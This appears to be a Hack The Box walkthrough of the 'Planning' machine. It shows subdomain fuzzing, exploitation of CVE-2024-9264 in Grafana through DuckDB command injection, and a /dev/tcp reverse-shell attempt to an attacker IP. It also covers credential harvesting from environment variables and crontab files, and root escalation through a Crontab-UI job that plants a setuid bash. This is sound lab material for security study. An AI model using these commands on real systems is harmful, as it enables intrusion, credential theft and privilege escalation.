Planning - HTB Machine

- 11 mins read

Planning is a Hack The Box machine released on 10 May 2025

Summary (How?)

Planning is a box with a huge fuzzing to do in order to find a Grafana instance, which was vulnerable to CVE-2024-9264, a critical vulnerability allowing arbitrary command execution via unsanitized SQL input to the DuckDB CLI. Using a proof-of-concept exploit, I was able to read files and execute commands, confirming access to the Grafana container but not the host system. Further enumeration revealed valid credentials for the user enzo, which allowed SSH access to the host system.

Once on the host, I identified a service called Crontab-UI running on localhost port 8000, protected by Basic Auth. Using previously discovered credentials, I accessed the Crontab-UI interface and created a malicious cronjob to deploy a SETUID-enabled bash binary in the /tmp directory.

Enumeration

nmap

┌──(kali㉿kali)-[~/htb-machines/planning]
└─$ cat nmap-planning.htb
# Nmap 7.95 scan initiated Sat May 10 18:36:21 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-planning.htb planning.htb
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 10 18:37:28 2025 -- 1 IP address (1 host up) scanned in 67.24 seconds

Browsing the web app

image.png

Discovered pages

  • /index.php → POST request with parameter keyword=asdf
  • /about.php
  • /detail.php
  • /course.php
  • /contact.php
  • /enroll.php → POST request with parameters
    • full_name=asdf&email=asdfas%40asdf.jcom&phone=asdfsd

All of them were just a waste of time. The functionality was very limited and all of my POST requests returned valid data. Also, wappalyzer identified very few technologies

image.png

Fuzzing

As the initial page didn’t have much I decided to fuzz some other pages and subdomains. All of these were done using ffuf.

Tried

  • Directory fuzzing with

    SecLists/Discovery/Web-Content/directory-list-2.3-small.txt

  • vhost fuzzing

    SecLists/Discovery/DNS/subdomains-top1million-5000.txt

  • page fuzzing

    SecLists/Discovery/Web-Content/directory-list-2.3-small.txt

    SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

  • login page fuzzing

    SecLists/Discovery/Web-Content/Logins.fuzz.txt

  • burp parameters names

    ffuf -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u "[http://planning.htb/index.php?FUZZ=login](http://planning.htb/index.php?FUZZ=login)" -fs 23914

  • command injection & LFI

    /opt/SecLists/Fuzzing/command-injection-commix.txt:FUZZ -X POST -d "keyword=FUZZ"

Grafana

I decided to try with a bigger wordlist… And it worked

┌──(linkfinder-env)(kali㉿kali)-[~/htb-machines/planning/LinkFinder]
└─$ ffuf -w /opt/SecLists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt:FUZZ -u http://planning.htb -H 'Host: FUZZ.planning.htb' -fs 178

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 170ms]

It was also possible to discover it by using bitquark-subdomains-top100000.txt Here we have to remember that we are provided with the credentials

As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r

Let’s check Grafana’s version, which is v11.0.0 (83b9528bce)

image.png

This will be useful to look for any CVEs.

CVE-2024-9264 - RCE & User flag

While researching the installed Grafana version (v11.0.0 - 83b9528bce), we identified a critical vulnerability: CVE-2024-9264, which allows command injection and local file inclusion via SQL expressions.

This vulnerability affects a new experimental feature called SQL Expressions, introduced in Grafana 11. It lets users post-process query results by running custom SQL queries using DuckDB. Grafana sends both the query and the data to the DuckDB command-line interface (CLI) for execution.

The issue is that the SQL input isn’t properly sanitized, allowing an attacker to inject OS commands or read arbitrary files from the system.

Root cause: Unfiltered input passed to the DuckDB CLI, enabling remote code execution (RCE) or file inclusion.

The CVSS v3.1 score for this vulnerability is 9.9 Critical.

Important caveat: Grafana doesn’t include DuckDB by default. For the exploit to work:

  • DuckDB must be installed on the server.
  • DuckDB must be available in Grafana’s PATH.

If DuckDB isn’t present, the system is not vulnerable. More information in this blog.

Let’s try luck with a PoC. And… we can read files!

┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -f /etc/passwd  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /etc/passwd
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Root shell (not yet)

We’re root… Just like that?

┌──(linkfinder-env)(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "whoami"  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: whoami
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('whoami >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root

I tried establishing a reverse shell but it failed

┌──(linkfinder-env)(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196"  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: 0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196
[-] Unexpected response format:
[-] {
    "results": {
        "B": {
            "error": "exit status 1sh: 1: Syntax error: Bad fd number\nIO Error: Pipe process exited with non-zero exit code=\"2\": 0<&196;exec 196<>/dev/tcp/10.10.14.49/4242; bash <&196 >&196 2>&196
>/tmp/grafana_cmd_output 2>&1 |\n",
            "errorSource": "",
            "status": 500,
            "frames": []
        }
    }
}
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
root

Let’s see if we can find where the flags are

┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "find / -name *.txt 2>/dev/null"  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: find / -name *.txt 2>/dev/null
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('find / -name *.txt 2>/dev/null >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
/usr/share/grafana/public/img/icons/unicons/NOTICE.txt
/usr/share/grafana/public/img/icons/solid/NOTICE.txt
/usr/share/grafana/public/app/plugins/datasource/jaeger/dist/module.js.LICENSE.txt
/usr/share/grafana/public/app/plugins/datasource/azuremonitor/dist/module.js.LICENSE.txt
/usr/share/grafana/public/app/plugins/datasource/tempo/dist/module.js.LICENSE.txt
/usr/share/grafana/public/robots.txt
/usr/share/grafana/public/emails/invited_to_org.txt
/usr/share/grafana/public/emails/signup_started.txt
/usr/share/grafana/public/emails/ng_alert_notification.txt
/usr/share/grafana/public/emails/reset_password.txt
/usr/share/grafana/public/emails/alert_notification.txt
/usr/share/grafana/public/emails/welcome_on_signup.txt
/usr/share/grafana/public/emails/new_user_invite.txt
/usr/share/grafana/public/emails/verify_email.txt

Not so fast… I think we’re not on the machine, but in a docker container instead. (Otherwise the find command should’ve given us the flags location

┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "ps aux"  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: ps aux
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('ps aux >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.7  7.8 1511432 149440 ?      Ssl  16:51   0:02 grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
root         293  0.0  1.1 407968 22656 ?        Sl   16:57   0:00 /usr/local/bin/duckdb
root         299  0.0  0.0   2892  1664 ?        S    16:57   0:00 sh -c ps aux >/tmp/grafana_cmd_output 2>&1
root         300  0.0  0.1   7064  2944 ?        R    16:57   0:00 ps aux

This confirms our suspicions: the process with PID 1 is the Grafana server, not systemd or init

Some more enumeration and we found credentials…

┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env"  http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('env >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
[...]
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
[...]

Maybe we can ssh into the host with these?

┌──(kali㉿kali)-[~/htb-machines/planning/CVE-2024-9264]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)

enzo@planning:~$ ls
user.txt

User flag: a285160769f6c525d6e2653ec7c68bfd

Root flag - crontab-ui

Some basic enum and we find

enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Which contains the password P4ssw0rdS0pRi0T3c for the /var/backups/grafana.tar.gz.zip file, but it does not exist

enzo@planning:~$ ls -l /var/backups/grafana.tar.gz.zip
ls: cannot access '/var/backups/grafana.tar.gz.zip': No such file or directory

Some more enumeration and at the end of LinEnum.sh we have

[+] Looks like we're hosting Docker:
Docker version 26.1.3, build 26.1.3-0ubuntu1~24.04.1


[-] Anything juicy in the Dockerfile:
-rw-r--r-- 1 root root 596 Feb 28 19:03 /usr/lib/node_modules/crontab-ui/Dockerfile


[-] Anything juicy in docker-compose.yml:
-rw-r--r-- 1 root root 142 Feb 28 19:03 /usr/lib/node_modules/crontab-ui/docker-compose.yml

Which shows that there is some sort of crontab ui running on port 8000

enzo@planning:/opt$ cat /usr/lib/node_modules/crontab-ui/docker-compose.yml
version: '3.7'

services:
  crontab-ui:
    build: .
    image: alseambusher/crontab-ui
    network_mode: bridge
    ports:
      - 8000:8000

Let’s check if it’s running

[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:44227         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

Crontab-ui

There is a service for creating crontabs that has some sort of user interface. It’s listening on localhost port 8000 on the host. So let’s try to forward it

ssh -L 8000:127.0.0.1:8000 [email protected]

This wasn’t working…Something was going on with the machine and it refused me to connect. When i curl from localhost I would get the follwing (nothing)

enzo@planning:~$ curl localhost:8000

enzo@planning:~$ curl -v localhost:8000 -H "Host: planning.htb"
* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* connect to ::1 port 8000 from ::1 port 38200 failed: Connection refused
*   Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000
> GET / HTTP/1.1
> Host: planning.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< Date: Mon, 12 May 2025 19:10:26 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<

When I got that 401 unauthorized I realized what was going on… Basic Auth with HTTP, so I decided to try with the credentials we found in the crontab.db file root:P4ssw0rdS0pRi0T3c

┌──(kali㉿kali)-[~/htb-machines/planning]
└─$ curl -v -u root:P4ssw0rdS0pRi0T3c http://127.0.0.1:8000 | head -n 10
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 127.0.0.1:8000...
* Connected to 127.0.0.1 (127.0.0.1) port 8000
* using HTTP/1.x
* Server auth using Basic with user 'root'
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> Authorization: Basic cm9vdDpQNHNzdzByZFMwcFJpMFQzYw==
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
  0     0    0     0    0     0      0      0 --:--:--  0:00:03 --:--:--     0< HTTP/1.1 200 OK
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 12925
< ETag: W/"327d-sd9V+HVAFFDdOCynU+MzbjgbceM"
< Date: Mon, 12 May 2025 19:16:14 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
{ [12925 bytes data]
100 12925  100 1292<!doctype html>
5<head>
    0 <title>Crontab UI</title>
 <script src="jquery.js"></script>
 <script src="script.js"></script>
 <script src="bootstrap.min.js"></script>
 <script src="mailconfig.js"></script>
0<script type="text/javascript" src="https://cdn.datatables.net/v/bs/dt-1.10.12/datatables.min.js"></script>
 <link rel="stylesheet" href="css/bootstrap.min.css" />
 <link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.12/css/dataTables.bootstrap.min.css"/>
100 12925  100 12925    0     0   3688      0  0:00:03  0:00:03 --:--:--  3687

And it worked! So I added the authorization header to my request using ModHeader extension

image.png

And there we go… I did not understand why basic auth was not working properly. After getting the page like this and reloading without ModHeader it prompted Basic Auth

image.png

I don’t have a clue what changed since the machine did not restart

From here we can see both cronjobs we were looking at earlier

image.png

And they are executed as root, so we can create one that give us privileged access.

For this, let’s create a cronjob that copies a SETUID bash binary into /temp

image.png

But why? I mean just a bash binary won’t give us access right? right…? Well, it does. The explanation for this are the binary /tmp/bash has the setuid bit (chmod u+s), which means that it runs with the effective UID of the file owner (root in this case).

So we save and run

image.png

And there it is…

enzo@planning:/tmp$ ls -la
total 1464
drwxrwxrwt 12 root root    4096 May 12 19:35 .
drwxr-xr-x 22 root root    4096 Apr  3 14:40 ..
-rwsr-xr-x  1 root root 1446024 May 12 19:35 bash

Now, to execute it we must use the -p flag so that bash does not drop permissions

From the bash man page

“If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.”

To sum up:

  • When a bash binary is setuid/setgid, launching it would usually elevate privileges.
  • For security reasons, Bash will drop these privileges by default, resetting the effective UID to the real UID.
  • It will also ignore certain environment variables and files to avoid privilege escalation via environment tricks.

Finally…

enzo@planning:/tmp$ ./bash -p
bash-5.2# whoami
root

bash-5.2# cat /root/root.txt
d14c2ef88ec0b8febed079c3d90e9cdc